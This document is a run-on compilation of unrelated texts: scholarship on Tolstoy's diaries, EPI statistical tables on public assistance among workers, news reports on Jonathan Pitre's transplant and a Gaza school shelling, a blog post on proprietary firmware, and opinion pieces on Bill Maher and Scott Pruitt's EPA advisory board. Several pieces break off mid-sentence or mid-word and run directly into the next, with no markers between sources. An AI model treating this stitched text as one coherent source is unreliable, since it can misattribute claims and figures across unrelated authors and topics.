Along with the first, hesitant diaries, for almost six months in 1847 Tolstoy kept a “Journal of Daily Occupations” (Zhurnal ezhednevnykh zaniatii; 46:245–61), the main function of which was to account for the actual expenditure of time. In the journal, each page was divided into two vertical columns: the first one, marked “The Future,” listed things he planned to do the next day; a parallel column, marked “The Past,” contained comments (made a day later) on the fulfillment of the plan. The most frequent entry was “not quite” (nesovsem). One thing catches the eye: there was no present.
The Moral Vision of Self and the Temporal Order of Narrative
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Beginning in 1850, the time scheme of Tolstoy’s “Journal of Daily Occupations” and the moral accounting of the Franklin journal were incorporated into a single narrative. Each day’s entry was written from the reference point of yesterday’s entry, which ended with a detailed schedule for the next day—under tomorrow’s date. In the evening of the next day, Tolstoy reviewed what he had actually done, comparing his use of time to the plan made the previous day. He also commented on his actions, evaluating his conduct on a general scale of moral values. The entry concluded with a plan of action and a schedule for yet another day. The following entry (from March 1851) is typical for the early to mid-1850s:
24. Arose somewhat late and read, but did not have time to write. Poiret came, I fenced, and did not send him away (sloth and cowardice). Ivanov came, I spoke with him for too long (cowardice). Koloshin (Sergei) came to drink vodka, I did not escort him out (cowardice). At Ozerov’s argued about nothing (habit of arguing) and did not talk about |
1.2% 2.6% 10.4% 24.8% 20.6% 5.1% 2.1% 1.0% Total value of benefits (in thousands) $6,841,676 $77,692 $4,588 $117,650 $278,216 $69,969 $1,329,668 $225,835 $72,540 $175,554 $743,020 $1,770,727 $1,394,843 $391,863 $137,566 $51,944 Share of housing benefits 1.1% 0.1% 1.7% 4.1% 1.0% 19.4% 3.3% 1.1% 2.6% 10.9% 25.9% 20.4% 5.7% 2.0% 0.8% Average benefits received $3,574 $2,661 $4,390 $2,578 $2,617 $2,687 $3,789 $3,679 $3,264 $3,584 $3,727 $3,736 $3,538 $4,041 $3,443 $2,843 Medicaid Count 13,414,627 245,177 54,827 669,717 1,086,367 223,932 2,124,884 567,105 191,124 510,774 1,352,775 2,789,465 2,467,888 778,809 319,049 32,735 Rate of receipt 9.7% 16.3% 5.1% 8.8% 7.5% 6.7% 13.0% 8.1% 6.6% 5.8% 9.6% 8.6% 17.3% 12.7% 4.7% 4.2% Share of working Medicaid beneficiaries 1.8% 0.4% 5.0% 8.1% 1.7% 15.8% 4.2% 1.4% 3.8% 10.1% 20.8% 18.4% 5.8% 2.4% 0.2% TANF/cash assistance Count 1,643,626 43,267 6,853 64,530 148,686 28,590 282,820 69,971 17,784 44,043 176,360 348,788 260,613 90,677 59,130 1,513 Rate of receipt 1.2% 2.8% 0.6% 0.8% 1.0% 0.8% 1.7% 1.0% 0.6% 0.5% 1.2% 1.0% 1.8% 1.4% 0.8% 0.2% Share of working TANF recipients 2.6% 0.4% 3.9% 9.0% 1.7% 17.2% 4.3% 1.1% 2.7% 10.7% 21.2% 15.9% 5.5% 3.6% 0.1% Total value of benefits (in thousands) $4,561,002 $99,518 $4,180 $162,204 $321,692 $82,239 $808,435 $155,179 $52,068 $95,227 $476,539 $1,089,182 $731,597 $272,595 $208,285 $2,062 Share of TANF benefits 2.2% 0.1% 3.6% 7.1% 1.8% 17.7% 3.4% 1.1% 2.1% 10.4% 23.9% 16.0% 6.0% 4.6% 0.0% Average benefits received $2,695 $2,300 $598 $2,473 $2,120 $2,795 $2,723 $2,156 $2,840 $2,109 $2,657 $3,043 $2,712 $2,928 $3,375 $1,363 Supplemental Nutrition for Women, Infants, and Children (WIC) Count 2,099,495 29,527 1,162 15,095 104,297 30,880 349,604 41,737 18,922 102,139 197,593 623,648 438,434 101,150 40,702 4,603 Rate of receipt 1.5% 1.9% 0.1% 0.2% 0.7% 0.9% 2.1% 0.6% 0.6% 1.1% 1.3% 1.9% 3.0% 1.6% 0.6% 0.6% Share of working WIC recipients 1.4% 0.1% 0.7% 5.0% 1.5% 16.7% 2.0% 0.9% 4.9% 9.4% 29.7% 20.9% 4.8% 1.9% 0.2% Total value of benefits (in thousands) $3,497,899 $108,986 $18,368 $284,760 $356,326 $75,985 $466,708 $177,302 $38,907 $138,518 $337,081 $657,503 $514,557 $175,032 $100,117 $47,751 Share of WIC benefits 3.1% 0.5% 8.1% 10.2% 2.2% 13.3% 5.1% 1.1% 4.0% 9.6% 18.8% 14.7% 5.0% 2.9% 1.4% Average benefits received $736 $843 $593 $730 $723 $776 $726 $783 $733 $767 $693 $748 $709 $725 $829 $889 Note: Receipt rates include benefits received directly by workers or indirectly through a family member. All shares reflect shares of working recipients. Because the data are adjusted to match administrative totals for each program, they must be weighted separately. Consequently, the implicit population totals from each rate of receipt will not be consistent across programs. See Appendix A for further detail. Dollar figures are in 2014$. The average value of benefits received is conditional upon receipt. Source: EPI analysis of Current Population Survey Annual Social and Economic Supplement microdata, pooled years 2012–2014 Share on Facebook Tweet this chart Embed Copy the code below to embed this chart on your website. Download image
Appendix Table B4 Usage of public assistance among workers and their families, by state State Working population Share Number receiving any government assistance Rate of receipt Share of all working recipients Total value of benefits (in millions) Share of benefit dollars Average total benefits among recipients United States 142,324,621 100.0% 41,221,812 29.3% 100.0% $123,148 100.0% $3,281 Alabama 2,064,480 1.5% 626,549 30.7% 1.5% $2,215 1.7% $3,708 Alaska 338,958 0.2% 93,840 27.9% 0.2% $267 0.2% $3,172 Arizona 2,767,121 1.9% 896,558 32.7% 2.2% $2,703 2.2% $3,333 Arkansas 1,211,547 0.9% 415,625 34.6% 1.0% $1,276 1.0% $3,257 California 16,655,230 11.7% 5,637,610 34.3% 13.7% $16,383 11.9% $3,240 Colorado 2,508,948 1.8% 652,391 26.2% 1.6% $1,793 1.4% $3,216 Connecticut 1,713,006 1.2% 397,101 23.4% 1.0% $1,000 0.9% $3,080 Delaware 416,995 0.3% 122,986 29.8% 0.3% $353 0.3% $3,244 District of Columbia 345,583 0.2% 86,074 25.5% 0.2% $343 0.3% $4,823 Florida 8,243,419 5.8% 2,515,501 30.9% 6.1% $7,625 6.0% $3,264 Georgia 4,270,568 3.0% 1,307,645 31.2% 3.2% $4,507 3.6% $3,593 Hawaii 606,613 0.4% 189,270 31.4% 0.5% $710 0.5% $4,087 Idaho 724,506 0.5% 213,644 29.8% 0.5% $561 0.4% $2,783 Illinois 6,045,093 4.2% 1,684,507 28.3% 4.1% $5,167 4.1% $3,434 Indiana 2,924,532 2.1% 814,086 28.1% 2.0% $2,411 2.0% $3,150 Iowa 1,559,141 1.1% 385,950 25.0% 0.9% $942 0.8% $2,718 Kansas 1,372,597 1.0% 344,248 25.2% 0.8% $918 0.8% $2,857 Kentucky 1,954,975 1.4% 566,448 29.3% 1.4% $1,719 1.5% $3,401 Louisiana 1,916,854 1.3% 611,320 32.5% 1.5% $2,191 1.9% $3,822 Maine 629,784 0.4% 166,932 26.7% 0.4% $463 0.4% $3,238 Maryland 2,867,339 2.0% 652,259 23.0% 1.6% $1,814 1.5% $3,038 Massachusetts 3,237,400 2.3% 834,283 25.9% 2.0% $2,209 1.9% $3,303 Michigan 4,521,965 3.2% 1,253,247 28.1% 3.0% $3,691 3.3% $3,240 Minnesota 2,795,710 2.0% 642,175 23.2% 1.6% $1,595 1.4% $2,846 Mississippi 1,142,675 0.8% 407,825 36.2% 1.0% $1,679 1.4% $4,338 Missouri 2,828,434 2.0% 772,479 27.5% 1.9% $2,053 1.9% $2,873 Montana 458,697 0.3% 108,848 23.9% 0.3% $300 0.3% $2,954 Nebraska 958,139 0.7% 226,156 23.8% 0.5% $605 0.5% $2,821 Nevada 1,240,136 0.9% 373,750 30.4% 0.9% $1,111 0.9% $3,133 New Hampshire 688,175 0.5% 125,048 18.3% 0.3% $264 0.2% $2,294 New Jersey 4,161,998 2.9% 1,016,007 24.5% 2.5% $2,662 2.2% $2,957 New Mexico 840,340 0.6% 328,666 39.7% 0.8% $982 0.8% $3,311 New York 8,708,669 6.1% 2,662,944 31.0% 6.5% $8,784 7.9% $3,845 North Carolina 4,211,419 3.0% 1,239,467 29.7% 3.0% $3,804 3.2% $3,305 North Dakota 379,255 0.3% 71,611 19.0% 0.2% $169 0.2% $2,514 Ohio 5,214,913 3.7% 1,522,250 29.5% 3.7% $4,475 3.9% $3,202 Oklahoma 1,612,228 1.1% 492,724 30.9% 1.2% $1,594 1.3% $3,488 Oregon 1,703,713 1.2% 530,681 31.4% 1.3% $1,492 1.2% $3,121 Pennsylvania 6,027,640 4.2% 1,443,070 24.2% 3.5% $3,774 3.3% $2,861 Rhode Island 505,029 0.4% 132,939 26.6% 0.3% $387 0.3% $3,231 South Carolina 2,027,897 1.4% 629,202 31.4% 1.5% $2,076 1.6% $3,600 South Dakota 413,935 0.3% 104,704 25.5% 0.3% $277 0.3% $2,812 Tennessee 2,883,648 2.0% 843,624 29.7% 2.0% $2,962 2.5% $3,729 Texas 11,893,180 8.4% 3,734,372 31.7% 9.1% $12,245 8.9% $3,419 Utah 1,292,646 0.9% 385,543 29.9% 0.9% $1,052 0.8% $2,934 Vermont 308,959 0.2% 83,035 27.2% 0.2% $151 0.2% $2,387 Virginia 3,988,667 2.8% 900,931 22.8% 2.2% $2,311 1.8% $2,723 Washington 3,268,610 2.3% 946,794 29.2% 2.3% $2,553 2.2% $3,041 West Virginia 749,079 0.5% 238,010 32.0% 0.6% $596 0.5% $2,826 Wisconsin 2,830,868 2.0% 722,113 25.7% 1.8% $1,792 1.7% $2,789 Wyoming 293,310 0.2% 68,771 23.6% 0.2% $145 0.1% $2,247 Note: Includes the EITC, CTC, SNAP, LIHEAP, WIC, housing assistance, TANF/cash assistance, and Medicaid. Receipt rates include benefits received directly by workers or indirectly by family members. All shares reflect shares of working recipients. Because the data are adjusted to match administrative totals for each program, they must be weighted separately. Consequently, the implicit population totals from each rate of receipt will not be consistent across programs. See Appendix A for further detail. Dollar figures are in 2014 dollars. The average value of benefits received is conditional upon receipt. Source: EPI analysis of Current Population Survey Annual Social and Economic Supplement microdata, pooled years 2012–2014 Share on Facebook Tweet this chart Embed Copy the code below to embed this chart on your website. Download image
Appendix Table B5 Effect of a $1 increase in hourly wages on incidence of receipt and value of public assistance benefits, by wage decile group Bottom two wage deciles ($6.50 to $9.91) Bottom three wage deciles ($6.50 to $12.16) Coefficient on real hourly wages β S.E. T value P > |t| N Adj-R2 Coefficient on real hourly wages β S.E. T value P > |t| N Adj-R2 Effect on share of workers receiving benefits Any aid -0.038 0.004 -10.716 0.000 16,075 0.233 -0.031 0.002 -18.930 0.000 30,853 0.261 Food stamps (SNAP) -0.020 0.003 -6.483 0.000 16,075 0.161 -0.019 0.001 -13.744 0.000 30,853 0.155 Energy assistance (LIHEAP) -0.004 0.001 -2.648 0.008 16,075 0.041 -0.004 0.001 -6.600 0.000 30,853 0.039 Earned Income Tax Credit (EITC) -0.041 0.004 -11.587 0.000 16,075 0.236 -0.032 0.002 -19.580 0.000 30,853 0.266 Refundable Child Tax Credit (CTC) -0.009 0.003 -2.861 0.004 16,075 0.428 -0.008 0.001 -5.874 0.000 30,853 0.432 Supplemental Nutrition for Women, Infants, and Children (WIC) -0.001 0.001 -1.111 0.267 16,075 0.067 -0.002 0.001 -3.897 0.000 30,853 0.060 Housing assistance -0.003 0.001 -2.572 0.010 16,075 0.036 -0.003 0.001 -5.276 0.000 30,853 0.037 Medicaid -0.013 0.003 -4.785 0.000 16,075 0.117 -0.010 0.001 -8.403 0.000 30,853 0.112 TANF/cash assistance -0.001 0.001 -0.645 0.519 16,075 0.046 -0.001 0.000 -3.137 0.002 30,853 0.035 Change in annual benefit dollars (per person) All government assistance -199.485 28.563 -6.984 0.000 16,075 0.470 -189.501 12.292 -15.416 0.000 30,853 0.468 Food stamps (SNAP) -93.450 16.063 -5.818 0.000 16,075 0.226 -82.815 6.854 -12.083 0.000 30,853 0.211 Energy assistance (LIHEAP) -2.450 0.785 -3.123 0.002 16,075 0.032 -2.212 0.331 -6.687 0.000 30,853 0.027 Earned Income Tax Credit (EITC) -75.683 13.197 -5.735 0.000 16,075 0.469 -79.561 5.772 -13.784 0.000 30,853 0.465 Refundable Child Tax Credit (CTC) -1.924 5.303 -0.363 0.717 16,075 0.573 -12.816 2.410 -5.317 0.000 30,853 0.578 Supplemental Nutrition for Women, Infants, and Children (WIC) -3.965 2.387 -1.661 0.097 16,075 0.075 -3.692 1.014 -3.641 0.000 30,853 0.074 Housing assistance -13.657 6.253 -2.184 0.029 16,075 0.036 -8.869 2.703 -3.281 0.001 30,853 0.037 TANF/cash assistance -7.600 6.827 -1.113 0.266 16,075 0.022 -10.282 2.498 -4.116 0.000 30,853 0.019 Third and fourth wage deciles ($12.16 to $14.72) Third, fourth, and fifth wage deciles ($12.16 to $17.62) Coefficient on real hourly wages β S.E. T value P > |t| N Adj-R2 Coefficient on real hourly wages β S.E. T value P > |t| N Adj-R2 Effect on share of workers receiving benefits Any aid -0.018 0.002 -11.073 0.000 32,634 0.275 -0.0163 0.001 -19.957 0.000 51,625 0.275 Food stamps (SNAP) -0.014 0.001 -11.739 0.000 32,634 0.131 -0.0120 0.001 -20.784 0.000 51,625 0.121 Energy assistance (LIHEAP) -0.002 0.001 -4.546 0.000 32,634 0.029 -0.0024 0.000 -9.645 0.000 51,625 0.026 Earned Income Tax Credit (EITC) -0.016 0.002 -9.836 0.000 32,634 0.282 -0.0151 0.001 -18.427 0.000 51,625 0.280 Refundable Child Tax Credit (CTC) -0.019 0.001 -14.194 0.000 32,634 0.426 -0.0189 0.001 -27.945 0.000 51,625 0.421 Supplemental Nutrition for Women, Infants, and Children (WIC) -0.001 0.000 -1.175 0.240 32,634 0.047 -0.0008 0.000 -3.678 0.000 51,625 0.041 Housing assistance -0.003 0.000 -6.217 0.000 32,634 0.029 -0.0018 0.000 -9.911 0.000 51,625 0.025 Medicaid -0.009 0.001 -7.849 0.000 32,634 0.095 -0.0074 0.001 -13.586 0.000 51,625 0.089 TANF/cash assistance -0.001 0.000 -1.857 0.063 32,634 0.018 -0.0008 0.000 -4.327 0.000 51,625 0.016 Change in annual benefit dollars (per person) All government assistance -174.672 10.798 -16.176 0.000 32,634 0.427 -159.6850 5.202 -30.695 0.000 51,625 0.394 Food stamps (SNAP) -58.148 5.918 -9.825 0.000 32,634 0.154 -45.5467 2.820 -16.153 0.000 51,625 0.132 Energy assistance (LIHEAP) -0.567 0.287 -1.976 0.048 32,634 0.019 -0.8321 0.132 -6.291 0.000 51,625 0.018 Earned Income Tax Credit (EITC) -96.931 5.169 -18.753 0.000 32,634 0.436 -97.4068 2.489 -39.127 0.000 51,625 0.408 Refundable Child Tax Credit (CTC) -27.922 2.424 -11.518 0.000 32,634 0.565 -27.9268 1.250 -22.334 0.000 51,625 0.532 Supplemental Nutrition for Women, Infants, and Children (WIC) 0.616 0.934 0.660 0.510 32,634 0.076 -0.9525 0.464 -2.052 0.040 51,625 0.071 Housing assistance -11.504 2.037 -5.649 0.000 32,634 0.028 -7.7975 0.904 -8.626 0.000 51,625 0.023 TANF/cash assistance 2.403 1.957 1.228 0.219 32,634 0.013 -1.1293 0.965 -1.171 0.242 51,625 0.011 Note: Sample contains all wage earners who worked in the previous year with imputed hourly wage values in the noted range. In the lowest wage decile, there is a lower bound for valid wage values of $6.50 (90 percent of $7.25) to allow for some measurement error in imputed wage values near the federal minimum wage. All models include controls for age, age squared, age cubed, sex, race, worked part time at any point during the previous year, marital status, family size, presence of a disabled person in the household, number of children under 18, citizenship, metropolitan status, state, major industry, and major occupation category. Coefficent values are significant at *P<0.1, **P<0.05, ***P<0.01. Source: EPI analysis of Current Population Survey Annual Social and Economic Supplement microdata, pooled years 2012–2014 Share on Facebook Tweet this chart Embed Copy the code below to embed this chart on your website. Download image
Appendix C: Discussion of imputed subminimum hourly wage values in the CPS-ASEC
For the vast majority of observations within the ASEC sample, imputing an hourly wage from the respondent’s reported annual wage income, wJonathan Pitre will have a quiet Christmas in Minneapolis as he awaits word from the Ontario government as to whether or not it will finance his next stem cell transplant.
The 16-year-old from Russell is scheduled to begin medical tests on Feb. 19th in preparation for a second transplant at the University of Minnesota Masonic Children’s Hospital — the only facility in the world that conducts the procedure for children with epidermolysis bullosa (EB), Pitre’s blistering skin disease.
Pitre’s mother, Tina Boileau, said the family had hoped that it might have an answer on funding by Christmas, but that now seems unlikely. The transplant, scheduled for March, costs more than $1 million.
“It would be nice to know: ‘Yes, you’ve been approved,’ or ‘No, you haven’t,’” said Boileau. “At least then I’d have a little time to try to go back to the drawing board and raise the money or do something. The last thing I want is just to go home…
“It’s scary for him (Jonathan). Because his quality of life is not any better: We haven’t gained anything yet.”
Officials from Ontario’s Ministry of Health and Long-Term Care have told the family it will reassess Pitre’s condition in January and announce a decision then.
Pitre’s doctors are making the case that his second stem cell transplant is simply a continuation of the treatment launched in September.
Related
Boileau said her son’s skin has deteriorated in recent weeks, leaving him with deep wounds and making it difficult to control his pain. Doctors are adjusting his medications in an effort to provide relief and allow him to spend more of his time awake and alert.
Although not able to eat much, Pitre has still managed to put on weight thanks to nutrition that’s delivered through his feeding tube. He now weighs more than ever: 86 pounds.
For Christmas Day, Boileau plans to make her son’s favourite dessert — sugar pie — and visit with family and friends back home over FaceTime. Traditionally, she said, everyone gathers at her sister’s house for Christmas dinner.
“This year, it will be a quiet kind of Christmas,” Boileau said.
They plan to watch Canada play Russia in the World Junior hockey championship on Boxing Day. One day later, Pitre’s sister, Noemy, is supposed to fly to Minnesota for a visit.
Pitre’s immune system remains compromised, which means he has to wear a filtration mask in public and must strictly limit his exposure to crowds. He’s also susceptible to all of the diseases that he was once vaccinated against since the immunities he had acquired were lost during the transplant process.
In late February, Pitre will undergo a series of tests on his vital organs to ensure he’s healthy enough to withstand the rigours of another stem cell transplant. Then, in early March, he’ll have seven days of chemotherapy and one day of radiation to condition his body for an infusion of stem cells drawn from his mother’s hip bone.
The procedure is physically demanding. Pitre suffered fevers, nausea, exhaustion and hair loss after his Sept. 8 transplant, which did not take root in his bone marrow. His hair is now coming back.
“I think he’s made peace with doing it again,” said Boileau. “He’s not super excited about it, but at the same time, he wants to get it done so he can get home.”
Pitre travelled to Minneapolis in August for the stem cell transplant, the only treatment that holds the potential to significantly improve his physical condition and make his disease more manageable. Complications from the treatment, however, can be life-threatening.
In the weeks after his first transplant, Pitre’s white blood cell count climbed steadily, raising hope that donor stem cells had started to grow in his bone marrow and produce new blood cells capable of ameliorating his skin disease. But on Thanksgiving Day, test results proved the white blood cells were his own: It meant that his own stem cells had re-colonized his bone marrow.
His lead physician, Dr. Jakub Tolar, says Pitre stands a better chance of success with a second transplant because his body will be better prepared to accept the donor cells.
DEBRA Canada is offering financial support to Pitre and his mother during their stay in Minnesota. Readers can donate to the EB charity at debracanada.org.By Nidal al-Mughrabi and Allyn Fisher-Ilan
GAZA/JERUSALEM, July 24 (Reuters) - Gazan authorities said Israeli forces shelled a shelter at a U.N.-run school on Thursday, killing at least 15 people as the Palestinian death toll in the conflict climbed over 760 and attempts at a truce remained elusive.
United Nations Secretary-General Ban Ki-moon expressed his horror at the attack on the school at Beit Hanoun in the northern Gaza strip. "Many have been killed - including women and children, as well as U.N. staff," he said in a statement. "Circumstances are still unclear. I strongly condemn this act."
Ban later arrived to Cairo where he was expected to meet U.S. Secretary of State John Kerry, who has been working the telephones to try to broker an elusive truce.
Kerry's spokesman said the school attack incident "underscores the need to end the violence".
But there was no sign of progress on securing a ceasefire in his four days in the region. "Gaps remain between the parties," a senior U.S. official said, adding that Kerry wouldn't stay "for an indefinite amount of time."
The Israeli military said it was investigating the incident.
Israel Defense Forces (IDF) Lieutenant Colonel Peter Lerner said there was a chance the school had been hit by stray Hamas rockets. "It could be errant fire from the IDF or rockets landing from Gaza terrorists but we still don't know, there's still a question mark," he told Reuters TV.
A spokesman for the U.N. relief agency said it had tried in vain to arrange an evacuation of civilians from the school with the Israeli army, and noted reports of Hamas rockets falling in the area at the same time.
Pools of blood lay on the ground and on students' desks in the courtyard of the school near the apparent impact mark of the shell, according to a Reuters photographer at the scene.
Scores of crying families who had been living in the school ran with their children to a hospital where the victims were being treated a few hundred meters away. Laila Al-Shinbari, a woman who was at the school when it was shelled, told Reuters that families had gathered in the courtyard expecting to be evacuated shortly in a Red Cross convoy.
"All of us sat in one place when suddenly four shells landed on our heads... Bodies were on the ground, (there was) blood and screams. My son is dead and all my relatives are wounded including my other kids," she wept.
Ashraf al-Qidra, spokesman for the Gaza Health Ministry, said that as well as the 15 dead, 200 people had been wounded in the attack. The director of a local hospital said various medical centers around Beit Hanoun were receiving the wounded.
UNIMAGINABLE PRICE
More than 140,000 Palestinians have fled 17 days of fighting between Israel and Gaza militants, many of them seeking shelter in buildings run by the U.N. Relief and Works Agency (UNRWA). Israeli forces are trying to stop militants from Hamas and their allies from firing rockets into its territory.
"It's clear that civilians are paying an unimaginable price caught between both sides," said UNRWA spokesman Chris Gunness. "We were attempting to arrange a window for evacuation for the civilians with the Israeli army that never came. The consequences were deeply tragic."
Britain called on Gaza's rulers to accept a truce unconditionally. "Hamas must agree to a humanitarian ceasefire without pre-conditions," Foreign Secretary Philip Hammond told a news conference in Cairo as Egypt tries to mediate.
"Then... the Palestine Authority (and) Israel would come together for discussions to ensure a lasting and sustainable peace in Gaza so that we do not repeat this cycle of violence."
Hamas leader Khaled Meshaal said on Wednesday his fighters had made gains against Israel and voiced support for a humanitarian truce, but only if Israel eased restrictions on Gaza's 1.8 million people. Hamas wants Egypt to open up its border with Gaza too.
The Palestinian death toll in Gaza reached 762 on Thursday, officials said. Israel has lost at least 32 soldiers in clashes inside Gaza and with Hamas raiders who have slipped under the fortified frontier in tunnels.
Palestinian rockets and mortar bombs have also killed three civilians in Israel. Such attacks surged last month as Israel cracked down on Hamas in the occupied West Bank, triggering the July 8 air and sea barrage on the Gaza Strip that escalated into an invasion a week ago.
TRUCE EFFORTS
With Washington's encouragement, and the involvement of Turkey and Hamas ally Qatar, Egypt has been trying to broker a limited humanitarian ceasefire for the battered enclave.
One Cairo official said on Wednesday it could take effect by the weekend, in time for the Eid al-Fitr festival next Monday or Tuesday, Islam's biggest annual celebration at the end of the fasting month of Ramadan.
But a U.S. official described any truce by the weekend as unlikely, as did an Israeli security cabinet minister who said the army would need one to two weeks to complete its main mission of razing tunnels used by Hamas for cross-border raids.
"If the talk is of a humanitarian hiatus for - this is not pleasant to say - removing bodies, all kinds of things that are connected to the civilian population in the short-term, this might be weighed," the minister, Gilad Erdan, told Israel Radio.
"But I will oppose any ceasefire until it is clear both that the tunnels will be destroyed and what will happen in the post-ceasefire period - how we will guarantee that quiet for the residents of Israel will really be preserved in the long term."
Israel earlier won a partial reprieve from the economic damage of the war with the lifting of a U.S. ban on commercial flights |
unspecified “money judgment” against Boeing.In a guest post at Boycott Boycott Novell I’ve written about my frustration with so-called “Free Software Fundamentalists”. My main problem with them is that they keep insisting in not using proprietaryware, at all, rather than improving Free Software till it actually becomes the norm.
Now, one thing that might be difficult to understand is that, no matter how hard you try, it’s near impossible to not use any kind of proprietary software nowadays. And while I’m one who fights with all his force to make sure that we have Free Software alternatives in such a state that it can be used in as many things as possible, I don’t try to fight the presence of the other kind of software. I might argue which one between their and my methods is the one that can reach the goal better, but that’s not what I wanted to write about right now.
For now I just wanted to note how impossible it is to not rely at least in part in proprietary, closed-source software (this also ties with an older post of mine about updates):
do you have a cellphone? unless you’re running stuff like OpenMoko, I doubt you have it pure free software, since even Nokia’s N900 has quite a few proprietary components;
okay so cellphones are evil, but do you have a standard phone? remember: if it has an address book it has a firmware on it (and even if it doesn’t it might have a firmware to manage some functions);
do you have a VCR? a DVD player? a DivX player? Is any of that running on a free software firmware?
cable or satellite TV? Sky (UK and Italy) definitely have firmware in their decoders (there is also some documentation about GPL violations in satellite decoders);
not even that, a simple TV? You know, not only they have firmware now, but they also come with an upgradable firmware (at least, my Sony Bravia does); some TVs also have free software on them (Sharp I happen to remember), although I highly doubt they have no proprietary bits in them; heck, remote controls have firmware as well, at least the programmable ones;
any game console? none that I know run on pure free software;
computers usually have proprietary BIOS, but coreboot is working to replace that; and at the same time we know of many projects working on replacing firmware for wifi cards (although I still can’t understand; why replacing a wifi card’s firmware, but not the SATA controller firmware?); laptops, on the other hand have a lot of components with firmware on them; for instance I remember Lenovo laptops having firmware to control the fans and similar subsystems; and I’m pretty sure “smart batteries” have firmware as well; UPSes have firmware; external drive enclosures have firmware (and there, replacing the firmware with some free software would definitely be useful, given how many bugs the Genesys Logic firmware has!); even keyboards have firmware, at least Apple’s and probably Logitech’s as well; bluetooth dongles have firmware; harddrives and SSDs have firmware;
so okay, you use no external hard drive, a motherboard supported by coreboot and so on, your computer is fine; what about the monitor connected to it?
and finally, if you’re not using computers (so what are you doing advocating free software?); are you using a modern microwave oven, dishwasher or washing machine? While there are still lots of those appliances that use no computer-like parts, and thus no firmware, quite a lot of the new ones use firmware which is proprietary; I actually find those quite obnoxious because, for instance, you cannot self-repair your washing machine if the mainboard fries up; the firmware (proprietary) has to be flashed in; and to make it even more impossible, they have to flash it with a special dongle, and a special phone, with UMTS connection;
So really, are you using any proprietaryware at all? If so, stop harassing my freedom of choice for a supposedly higher freedom.Defending Israel’s policies can have a corrosive effect on your politics. Bill Maher, who is thought to be a progressive, defends Netanyahu’s last minute appeal to Jewish voters to get out to the polls so as to counter Palestinians “heading to the polls in droves,” by questioning whether the statement was racist and saying that if the U.S. were in Israel’s position it would do much worse: deny Palestinians vote and maybe “put them in camps.”
A lot of people were angry at the way Netanyahu won this election. They said it was racist that he said, at the last minute ‘Arab voters are coming out in droves to the polls.’ And I guess that is racist, in the strictest sense, he’s bringing race into the equation. But, first of all, like Reagan didn’t win races with racism? Or Nixon? Or Bush? Like they didn’t play the race card? Reagan opened his campaign in Philadelphia, Mississippi, remember that? Remember Willie Horton? I heard a lot of commentators here say, it would been as if Mitt Romney, in 2012, on the eve of the election said, ‘black voters are coming out in droves to the polls.’ But I don’t know if that’s really a great analogy. I think that would be a good analogy if America was a country that was surrounded by 12 or 13 completely black nations who had militarily attacked us many times, including as recently as last year. Would we let them vote? I don’t know. When we were attacked by the Japanese, we didn’t just not let them vote, we rounded them up and put them in camps.
And I thought the Willie Horton ad of 27 years ago and the Japanese internment of WW2 were bad things that the U.S. learned from! That is the error in Maher’s thought: he is saying that Israel has a right to recapitulate all the mistakes of the west. There was slavery in the U.S. too; I suppose that justifies the occupation, in Bill Maher’s view.
Thanks to this tweeter, and Max Blumenthal. And to Haaretz, which is on the story. I used its transcript.On Halloween, Environmental Protection Agency Administrator Scott Pruitt gave Americans the equivalent of an apple filled with razor blades.
Instead of picking the best experts for his agency’s Science Advisory Board (SAB) to protect public health, Pruitt appointed candidates who oppose the very laws the EPA is supposed to enforce.
To make matters worse, Pruitt did not renew terms for a number of respected members and even dismissed several independent scientists before their terms were up. All told, Pruitt shrunk the SAB from 47 to 42 participants and more than doubled the number of its polluter-friendly members.
Undermining the SAB’s integrity might make sense to a former Oklahoma attorney general who openly promotes the interests of the fossil fuel industry. But doing so jeopardizes the independent science the agency needs to protect American health and safety.
Pruitt’s Ill-Advised Appointments
The Science Advisory Board was established by Congress nearly 40 years ago as an impartial reality check. As Michael Halpern, deputy director of the Center for Science and Democracy at the Union of Concerned Scientists (UCS), recently explained, the board “doesn’t make policy recommendations or decisions. It holds no veto power. It should exist as a check on anyone with an agenda, from environmentalists to oil companies. If the science is on your side, the board validates it. If you make unsupportable claims, the board calls you out.”
The SAB’s role as “arbiter of scientific fact” has proven to be invaluable. Over the last five years, for instance, the board provided the EPA recommendations for integrating science more effectively into its decision making process; advised the agency on the best model to use when evaluating the health threats posed by perchlorate, a likely carcinogen; and determined that the EPA’s preliminary finding that the hydraulic fracturing drilling process has not led to “widespread, systemic impacts” on drinking water resources was not supported by the best available science. The final version of the fracking study, released in December 2016, correctly concluded that the technique has indeed contaminated some drinking water supplies across the country.
As reconstituted by Pruitt, however, the SAB is more likely to come down in favor of industrial polluters than public health.
Take the new board chairman, Michael Honeycutt, who directs the Texas Commission on Environmental Quality’s toxicology division. Over the last decade, Honeycutt rolled back the state’s protections for 45 toxic chemicals, including arsenic, benzene and formaldehyde. He also attacked EPA rules for ground-level ozone (smog), which aggravates lung diseases, and particulate matter (PM) (soot), which has been linked to lung cancer, cardiovascular damage, reproductive problems and premature death. Despite the overwhelming scientific evidence linking fine soot particles to premature death, Honeycutt testified before Congress that “some studies even suggest PM makes you live longer.”
Many of Pruitt’s other appointees to three-year terms on the SAB share a similar disregard for established science.
· Kimberly White is senior director of chemical products at the American Chemistry Council (ACC), the country’s largest chemical manufacturing trade association. Representing the interests of 155 corporate members, including BP, Dow, DuPont and ExxonMobil, the ACC has delayed, weakened and blocked science-based health, environmental and workplace protections at the state, national and even international levels.
· Samuel Cohen, a professor at the University of Nebraska College of Medicine, produces industry-friendly papers and testimony for chemical companies and trade groups, including the American Chemistry Council. He has downplayed the risks of monosodium methanearsonate (MSMA) for the arsenic-based weed killer’s manufacturers and testified on behalf of Dupont during a kidney cancer trial involving perfluorooctanoic acid (PFOA), the main ingredient in Teflon.
· Economist John D. Graham, who ran the Office of Management and Budget’s Office of Information and Regulatory Affairs for five years during the George W. Bush administration, has a long history of emphasizing industry’s costs to reduce pollution, while discounting scientific evidence of exposure risks and ignoring the benefits of a cleaner environment.
· Anne Smith, a senior vice president at NERA Consulting, is another economist with a pronounced corporate bias. Over the past few years, NERA has written reports for the U.S. Chamber of Commerce, National Association of Manufacturers and other industry trade groups arguing that the EPA underestimates the cost of its rules, including ones designed to lower mercury emissions and reduce ground-level ozone. In February 2015, Smith testified before Congress against the Clean Power Plan to curb coal-fired power plant carbon emissions.
